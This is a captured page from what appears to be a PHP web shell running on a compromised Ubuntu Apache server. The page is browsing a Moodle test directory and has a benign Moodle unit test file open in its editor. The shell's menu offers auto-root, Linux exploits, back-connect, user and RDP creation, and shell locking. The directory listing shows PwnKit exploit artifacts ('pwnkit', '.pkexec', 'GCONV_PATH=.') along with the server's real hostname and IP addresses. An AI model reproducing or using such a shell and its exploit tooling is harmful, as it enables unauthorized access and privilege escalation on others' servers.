Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
lib /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
behat
[ DIR ]
drwxrwxrwx
fixtures
[ DIR ]
drwxrwxrwx
other
[ DIR ]
drwxrwxrwx
performance
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
accesslib_test.php
121.33
KB
-rwxrwxrwx
admintree_test.php
4.01
KB
-rwxrwxrwx
authlib_test.php
6.87
KB
-rwxrwxrwx
blocklib_test.php
13.18
KB
-rwxrwxrwx
code_test.php
2.89
KB
-rwxrwxrwx
completionlib_advanced_test.ph...
4.3
KB
-rwxrwxrwx
completionlib_test.php
29.62
KB
-rwxrwxrwx
componentlib_test.php
6.62
KB
-rwxrwxrwx
conditionlib_test.php
33.62
KB
-rwxrwxrwx
configonlylib_test.php
5.62
KB
-rwxrwxrwx
coursecatlib_test.php
27.33
KB
-rwxrwxrwx
csslib_test.php
54.76
KB
-rwxrwxrwx
csvclass_test.php
5.53
KB
-rwxrwxrwx
datalib_test.php
12.26
KB
-rwxrwxrwx
environment_test.php
1.57
KB
-rwxrwxrwx
eventslib_test.php
7.97
KB
-rwxrwxrwx
externallib_test.php
6.19
KB
-rwxrwxrwx
filelib_test.php
14.51
KB
-rwxrwxrwx
filter_test.php
26.7
KB
-rwxrwxrwx
formslib_test.php
28.63
KB
-rwxrwxrwx
gradelib_test.php
2.03
KB
-rwxrwxrwx
grouplib_test.php
18.92
KB
-rwxrwxrwx
html2text_test.php
6.15
KB
-rwxrwxrwx
htmlpurifier_test.php
9.8
KB
-rwxrwxrwx
htmlwriter_test.php
6.3
KB
-rwxrwxrwx
markdown_test.php
2.21
KB
-rwxrwxrwx
mathslib_test.php
8.21
KB
-rwxrwxrwx
medialib_test.php
23.77
KB
-rwxrwxrwx
messagelib_test.php
7.46
KB
-rwxrwxrwx
modinfolib_test.php
8.07
KB
-rwxrwxrwx
moodlelib_test.php
123.49
KB
-rwxrwxrwx
navigationlib_test.php
24.21
KB
-rwxrwxrwx
outputcomponents_test.php
18.2
KB
-rwxrwxrwx
outputlib_test.php
8.9
KB
-rwxrwxrwx
outputrequirementslib_test.php
1.71
KB
-rwxrwxrwx
pagelib_test.php
22.8
KB
-rwxrwxrwx
pluginlib_test.php
37.15
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
questionlib_test.php
3.1
KB
-rwxrwxrwx
rsslib_test.php
7.12
KB
-rwxrwxrwx
setuplib_test.php
5.73
KB
-rwxrwxrwx
statslib_test.php
19.13
KB
-rwxrwxrwx
string_test.php
4.21
KB
-rwxrwxrwx
textlib_test.php
24.62
KB
-rwxrwxrwx
upgradelib_test.php
1.47
KB
-rwxrwxrwx
weblib_test.php
16.3
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : configonlylib_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Unit tests for config only library functions- * * @package core * @category phpunit * @copyright 2012 Petr Skoda {@link http://skodak.org} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); // Global CFG not used here intentionally to make sure it is not required inside the lib. require_once(__DIR__ . '/../configonlylib.php'); /** * Unit tests for config only library functions. * * @package core * @category phpunit * @copyright 2012 Petr Skoda {@link http://skodak.org} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class core_configonlylib_testcase extends advanced_testcase { /** * Test cleaning of invalid utf-8 entities. */ public function test_min_fix_utf8() { $this->assertSame('abc', min_fix_utf8('abc')); $this->assertSame("žlutý koníček přeskočil potůček \n\t\r\0", min_fix_utf8("žlutý koníček přeskočil potůček \n\t\r\0")); $this->assertSame('aš', min_fix_utf8('a'.chr(130).'š'), 'This fails with buggy iconv() when mbstring extenstion is not available as fallback.'); } /** * Test minimalistic parameter cleaning. */ public function test_min_clean_param() { $this->assertSame('foo', min_clean_param('foo', 'RAW')); $this->assertSame('aš', min_clean_param('a'.chr(130).'š', 'RAW')); $this->assertSame(1, min_clean_param('1', 'INT')); $this->assertSame(1, min_clean_param('1aa', 'INT')); $this->assertSame('1abc-d_f', min_clean_param('/.1ačž"b?;c-d{}\\_f.', 'SAFEDIR')); $this->assertSame(1, min_clean_param('1aa', 'INT')); $this->assertSame('/a/b/./c5', min_clean_param('/a*?$//b/.../c5', 'SAFEPATH')); $this->assertSame(1, min_clean_param('1aa', 'INT')); } /** * Test minimalistic getting of page parameters. */ public function test_min_optional_param() { $this->resetAfterTest(); $_GET['foo'] = 'bar'; $_GET['num'] = '1'; $_GET['xnum'] = '1aa'; $_POST['foo'] = 'rebar'; $_POST['oof'] = 'rab'; $this->assertSame('bar', min_optional_param('foo', null, 'RAW')); $this->assertSame(null, min_optional_param('foo2', null, 'RAW')); $this->assertSame('rab', min_optional_param('oof', null, 'RAW')); $this->assertSame(1, min_optional_param('num', null, 'INT')); $this->assertSame(1, min_optional_param('xnum', null, 'INT')); } /** * Test fail-safe minimalistic slashargument processing. */ public function min_get_slash_argument() { global $CFG; $this->resetAfterTest(); $this->assertEquals('http://www.example.com/moode', $CFG->wwwroot); $_SERVER = array(); $_SERVER['SERVER_SOFTWARE'] = 'Apache/2.2.22 (Unix)'; $_SERVER['QUERY_STRING'] = 'theme=standard&component=core&rev=5&image=u/f1'; $_SEREVR['REQUEST_URI'] = '/moodle/theme/image.php?theme=standard&component=core&rev=5&image=u/f1'; $_SERVER['SCRIPT_NAME'] = '/moodle/theme/image.php'; $this->assertSame('', min_get_slash_argument()); $_SERVER = array(); $_SERVER['SERVER_SOFTWARE'] = 'Apache/2.2.22 (Unix)'; $_SERVER['QUERY_STRING'] = ''; $_SEREVR['REQUEST_URI'] = '/moodle/theme/image.php/standard/core/5/u/f1'; $_SERVER['PATH_INFO'] = '/standard/core/5/u/f1'; $_SERVER['SCRIPT_NAME'] = '/moodle/theme/image.php'; $_GET = array(); $this->assertSame('/standard/core/5/u/f1', min_get_slash_argument()); // IIS no url rewriting $_SERVER = array(); $_SERVER['SERVER_SOFTWARE'] = 'Microsoft-IIS/7.0'; $_SERVER['QUERY_STRING'] = ''; $_SEREVR['REQUEST_URI'] = '/moodle/theme/image.php/standard/core/5/u/f1'; $_SERVER['PATH_INFO'] = '/standard/core/5/u/f1'; $_SERVER['SCRIPT_NAME'] = '/moodle/theme/image.php'; $_GET = array(); $this->assertSame('/standard/core/5/u/f1', min_get_slash_argument()); // IIS with url rewriting $_SERVER = array(); $_SERVER['SERVER_SOFTWARE'] = 'Microsoft-IIS/7.0'; $_SERVER['QUERY_STRING'] = 'file=/standard/core/5/u/f1'; $_SEREVR['REQUEST_URI'] = '/moodle/theme/image.php/standard/core/5/u/f1'; $_SERVER['PATH_INFO'] = '/'; $_SERVER['SCRIPT_NAME'] = '/moodle/theme/image.php'; $_GET = array(); $_GET['file'] = '/standard/core/5/u/f1'; $this->assertSame('/standard/core/5/u/f1', min_get_slash_argument()); $_SERVER = array(); $_SERVER['SERVER_SOFTWARE'] = 'Weird server'; $_SERVER['QUERY_STRING'] = ''; $_SEREVR['REQUEST_URI'] = '/moodle/theme/image.php/standard/core/5/u/f1'; $_SERVER['PATH_INFO'] = '/moodle/theme/image.php/standard/core/5/u/f1'; $_SERVER['SCRIPT_NAME'] = '/moodle/theme/image.php'; $_GET = array(); $this->assertSame('/standard/core/5/u/f1', min_get_slash_argument()); } }
Close